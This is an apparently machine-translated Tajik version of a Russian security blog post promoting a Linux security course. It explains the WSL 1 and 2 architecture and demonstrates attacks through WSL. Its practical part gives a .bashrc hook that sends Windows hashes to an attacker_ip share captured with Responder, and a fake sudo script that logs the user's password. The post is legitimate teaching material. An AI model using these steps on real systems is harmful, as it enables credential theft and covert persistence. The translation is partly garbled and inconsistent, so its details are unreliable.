Таҷрибаҳои WSL. Қисми 1

Салом, Хабр! OTUS дар моҳи октябр ҷараёни нави курсро оғоз мекунад "Амнияти Linux". Ба муносибати оғози курс мо мақолаеро пешкаши шумо мегардонем, ки аз ҷониби яке аз муаллимони мо Александр Колесников навишта шудааст.

Таҷрибаҳои WSL. Қисми 1

Дар соли 2016, Microsoft технологияи нави WSL-ро ба ҷомеаи IT муаррифӣ кард (Wтақдим мекунад Sзерсистема барои Linux), ки дар оянда имкон дод, ки рақибони қаблан оштинопазир, ки барои маъруфият дар байни корбарони оддӣ ва пешрафтаи ОС мубориза мебурданд: Windows ва Linux. Ин технология имкон дод, ки асбобҳои Linux OS дар муҳити Windows бидуни зарурати иҷро кардани Linux, масалан, бо истифода аз Multi-boot истифода шаванд. Дар Habr шумо метавонед шумораи зиёди мақолаҳоро пайдо кунед, ки манфиатҳои истифодаи WSL-ро тавсиф мекунанд. Аммо, мутаассифона, дар замони таҳияи ин мақола, дар ин манбаъ ягон тадқиқот оид ба амнияти чунин симбиози системаҳои оператсионӣ пайдо нашуд. Ин паём кӯшиши ислоҳи ин хоҳад буд. Дар мақола дар бораи хусусиятҳои меъмории WSL 1 ва 2 сухан меравад ва якчанд мисолҳои ҳамлаҳоро ба системаҳо бо истифода аз ин технологияҳо баррасӣ мекунанд. Мақола ба 2 қисм тақсим мешавад. Якум усулҳои асосии назариявии ҳамларо аз Linux ва Windows пешниҳод мекунад. Дар мақолаи дуюм таъсиси муҳити озмоишӣ ва такрори ҳамлаҳо дар бар мегирад.

WSL 1: Хусусиятҳои меъморӣ

Барои дақиқтарин мубтало шудан ба масъалаҳои амнияти WSL, муайян кардани нозукиҳои асосии марбут ба татбиқи зерсистема зарур аст. Яке аз вазифаҳои асосии корбаре, ки аз ҷониби WSL ҳал карда мешавад, қобилияти кор кардан тавассути терминали Linux дар ҳостест, ки бо Windows OS кор мекунад. Инчунин, мутобиқати пешниҳодшуда чунон аслӣ буд, ки файлҳои иҷрошавандаи Linux (ELFs) метавонанд мустақиман дар системаи Windows кор кунанд. Барои ноил шудан ба ин ҳадафҳо, дар Windows 10 зерсистемаи махсус таъсис дода шуд, ки ба шумо имкон медиҳад барномаҳои Linux-ро бо истифода аз маҷмӯи зангҳои мушаххаси система идора кунед - ҳамин тавр, кӯшиш карда шуд, ки маҷмӯи системаҳои Linux дар Windows харита карда шавад. Ин тавассути илова кардани драйверҳои нав ва формати нави раванд ҷисмонӣ амалӣ карда шуд. Ба таври визуалӣ меъморӣ чунин менамуд:

Таҷрибаҳои WSL. Қисми 1

Дарвоқеъ, ҳамкорӣ бо системаи оператсионии Linux тавассути якчанд модулҳои ядро ​​​​ва як намуди махсуси раванд - pico ташкил карда шуд. Аз диаграммаи боло, шумо мебинед, ки раванде, ки дар мисоли Linux дар ҳост иҷро мешавад, бояд маҳаллӣ бошад ва бояд ҳамон захираҳоро ҳамчун замимаҳои муқаррарии Windows истифода барад. Аммо чӣ тавр ба ин ноил шудан мумкин аст? Дар лоиха Бриджберт Консепсияҳои раванд барои Windows таҳия карда шуданд, ки тамоми ҷузъҳои зарурии системаи оператсионӣ (вобаста ба версияи он) барои иҷро кардани замимаи ОС-и дигарро таъмин мекарданд.

Аҳамият диҳед, ки абстраксияи пешниҳодшуда имкон дод, ки тамаркуз ба системаи оператсионии (хусусан, Windows), ки дар он раванди ОС-и дигар дар назар аст, оғоз нашавад ва равиши умумиро пешниҳод кард.

Ҳамин тариқ, ҳама гуна замима дар дохили раванди pico метавонад бидуни назардошти ядрои Windows кор кунад:

  1. Проблемаҳои мутобиқат ва тарҷумаи зангҳои системавӣ бояд аз ҷониби провайдерҳои махсус ҳал карда шаванд;
  2. Назорати дастрасӣ бояд тавассути Monitor Security анҷом дода шавад. Монитор дар ядро ​​ҷойгир аст ва аз ин рӯ Windows ба навсозӣ дар шакли драйвери нав ниёз дошт, ки метавонад ҳамчун провайдери чунин равандҳо амал кунад. Раванди прототипи пико ба таври схематикӣ дар зер оварда шудааст:

Таҷрибаҳои WSL. Қисми 1

Азбаски системаи файлии Linux аз номи файлҳо ва директорияҳо ба ҳарфи ҳарфҳо ҳассос истифода мешавад, барои кор бо WSL - VolFS ва DriveFS ба Windows ду намуди системаи файлӣ илова карда шуданд. VolFS татбиқи системаи файлии Linux мебошад, DriveFS системаи файлист, ки мувофиқи қоидаҳои Windows кор мекунад, аммо қобилияти интихоби ҳассосияти ҳарфҳоро дорад.

WSL 2

WSL 1 як ќатор мањдудиятњо дошт, ки имкон намедињад, ки он барои њалли доираи максималии вазифањо истифода шавад: масалан, он ќобилияти идора кардани замимаҳои 32-битии Linux надошт ва истифодаи драйверҳои дастгоҳ имконнопазир буд. Аз ин рӯ, дар соли 2020, WSL 2 бароварда шуд, ки равиши сохтани зерсистемаро тағир дод. WSL 2 як мошини виртуалии оптимизатсияшуда мебошад, ки ба хусусиятҳои истеъмоли захираҳои WSL 1 мувофиқат мекунад. Акнун, вобаста ба мушкилоте, ки корбари ОС Windows ҳал мекунад, шумо метавонед версияи зарурии зерсистемаи Linux-ро интихоб кунед. Барои кам кардани осебпазирии эҳтимолӣ, WSL 2 дар асоси Hyper-V дар Windows 10 амалӣ карда шуд. Дар ин шакл, Windows қобилияти кор кардани ядрои системаи амалиётии Linux-ро дар алоҳидагӣ дорад. Бояд дар хотир дошт, ки версияи 1-и WSL ҳамчун хусусияти бета муаррифӣ шуд, ки бояд самти рушди Windows дар ин соҳаро нишон диҳад, аз ин рӯ гузариш ба Hyper-V ногузир буд. Меъмории ниҳоӣ чунин менамояд:

Таҷрибаҳои WSL. Қисми 1

Дар ин версия ядроҳои Windows ва Linux захираҳои худро доранд ва буриш танҳо дар системаи файлӣ мавҷуд аст, аммо ин буриш пурра нест. Муносибати байни системаҳои файлӣ тавассути бастаи мизоҷ-сервер, ки бо истифода аз протоколи 9P кор мекунад, сурат мегирад.

Имрӯз Microsoft имкон медиҳад, ки байни WSL 1 ва WSL 2 гузаред. Ҳарду версия барои истифода дастрасанд.

Амнияти WSL

Дар айни замон, якчанд корҳо мавҷуданд, ки баъзе равишҳоро барои истифодаи асбобҳои қонунии ОС барои ҳамла ба иртибот байни зерсистемаҳо тавсиф мекунанд. Мо скриптҳои онҳоро барои тафтиш кардани аҳамияти ҳамлаҳо ҳангоми навиштан истифода хоҳем кард. Рӯйхати умумии ҳамлаҳо ва сенарияҳо:

1. Татбиқи системаи файлӣ: ҳуқуқи дастрасӣ, мавҷудияти директорияҳои муштарак/механизмҳои мубодилаи маълумот.

Тадқиқот барои муайян кардани вайронкунии қоидаҳои дастрасӣ аз Linux FS-> Windows FS, Windows FS-> Linux FS. Таҳқиқот қобилияти тағир додани файли додашударо дар дохили ОС-и мақсаднок нишон дод. Кӯшишҳо инчунин барои иваз кардан, эҷод кардани нусхаҳо ва нест кардани як қисми системаҳои файлӣ анҷом дода шуданд.

Сенарияи:

  • A. Ҳамла аз системаи оператсионии Windows - тағир додани файлҳо аз каталоги /etc OS Linux.
  • B. Ҳамла аз системаи оператсионии Linux - тағир додани файлҳо дар каталогҳо: C:Windows, C:Program Files, C:Users<User>

2. Амалисозии стеки шабака.

Тадқиқот бо истифода аз мисолҳои ҳамлаҳои системаи оператсионии Linux дар Windows гузаронида шуд. Хусусиятҳои стеки шабакавӣ, яъне механизмҳои аутентификатсия дар захираҳои гуногун истифода шуданд.

Сенарияи:

  • Кушодани дастрасӣ ба порте, ки дар системаи Windows ҷойгир аст
  • Кушодани бандар бе ҳуқуқҳои мувофиқ
  • Иҷрои қабати баръакс бо истифода аз файли elf дар системаи оператсионии Windows.

3. Пинҳон кардани оғози равандҳои нармафзори зараровар бо истифода аз зерсистемаи WSL.

Тадқиқот ба як далели оддӣ асос ёфтааст - зерсистемаҳои амниятӣ наметавонанд рӯйдодҳоро дар ядрои дигаре, ки бо истифода аз провайдери қонунии системаи оператсионӣ дар ҳолати WSL 1 кор мекунанд, боздошта наметавонанд. Дар мавриди WSL 2, ҳеҷ роҳе барои дидани рӯйдодҳои рухдода вуҷуд надорад. дар ядрои алоҳида дар дохили мошини виртуалии сабук.

Сенарияи:

1) Барномаро барои дастрасии дурдаст ба система оғоз кунед ва рӯйдодҳои сабтшударо бинед.

Таҷрибаҳои WSL 1: боздоштани ҳаш (Windows)

Ниҳоят, мо ба қисми амалӣ расидем. Аввалан, шумо бояд муҳити санҷишро танзим кунед. Ҳама таҷрибаҳо дар курсӣ бо Windows 10 2004 насб карда мешаванд.Тасвири Ubuntu 18.04 ҳамчун тасвири системаи амалиётӣ барои WSL интихоб шудааст. Тасвир ба таври тасодуфӣ интихоб карда шуд ва ҳама чизи дигаре низ ҳамин тавр кор хоҳад кард. Фармонҳо барои гузоштани стенд:

Шумо бояд аввал оғоз кунед powershell.exe ҳамчун мудир.

Барои WSL 1 шумо бояд фармонҳоро иҷро кунед:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

  • Ubuntu.appx install —root #Установим образ
  • Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
  • Restart-Computer #Перезагрузим
  • Пас аз бозоғоз кардани стенд, шумо метавонед ба фармони bash занг занед. Агар ҳама чиз дуруст кор кунад, шумо дар консоли Windows баромади шабеҳро хоҳед дид:

    Таҷрибаҳои WSL. Қисми 1

    Мо тақсимоти Kali Linux-ро ҳамчун мошини ҳамлакунанда истифода хоҳем кард; ҳама мошинҳо бояд дар як шабакаи маҳаллӣ бошанд.

    Фарз мекунем, ки мо дастрасии беимтиёз ба WSL дар мошини Windows дорем. Биёед кӯшиш кунем, ки бо занги фармон аз Linux ба системаи амалиётии Linux ҳамла кунем. Барои амалисозии ҳамла, мо як техникаи оддии худкорро истифода мебарем - мо скрипти худро барои иҷроиш дар муҳити Linux илова мекунем. Барои ин шумо бояд файлро тағир диҳед .bashrc.

    Дар мошини дорои WSL мо иҷро мекунем:

    	1. bash
    	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    Дар мошини Kali Linux мо кор мекунем:

    1. Responder -I eth0 -rdvw

    Дар мошини Windows, биёед bash-ро оғоз кунем.

    Мо интизори натиҷа дар мошини Kali Linux ҳастем:

    Таҷрибаҳои WSL. Қисми 1

    Ҳамин тариқ, мо хэшҳои корбари Windows-ро тавассути зерсистемаи WSL тавассути иҷрои фармон дар системаи Linux ба даст овардем.

    Таҷрибаҳои WSL 1: гирифтани пароли корбар (OS Linux)

    Биёед боз як озмоиш кунем. Дар давоми ин санҷиш мо ба файл илова мекунем .bashrc якчанд фармонҳо барои ба даст овардани пароли корбари системаи амалиётии Linux.

    Биёед bash -ро оғоз кунем ва фармонҳоро ворид кунем:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    Барои бомуваффақият анҷом додани ҳамла, корбар Сэм бояд дар терминали Linux sudo -ро даъват кунад. Пас аз ин, пароли корбарии Linux OS дар файл хоҳад буд pass.txt:

    Таҷрибаҳои WSL. Қисми 1

    Татбиқи ҳамлаҳо танҳо барои маълумоти назариявӣ дода шудааст.

    Қисми навбатии мақола татбиқи протоколи 9P-ро тавсиф мекунад, эҷоди сканер барои ин протоколро баррасӣ мекунад ва инчунин бо истифода аз он ҳамла анҷом медиҳад.

    Рӯйхати адабиёти истифодашуда

    Таҷрибаҳои WSL. Қисми 1

    Бештар

    Манбаъ: will.com

    Илова Эзоҳ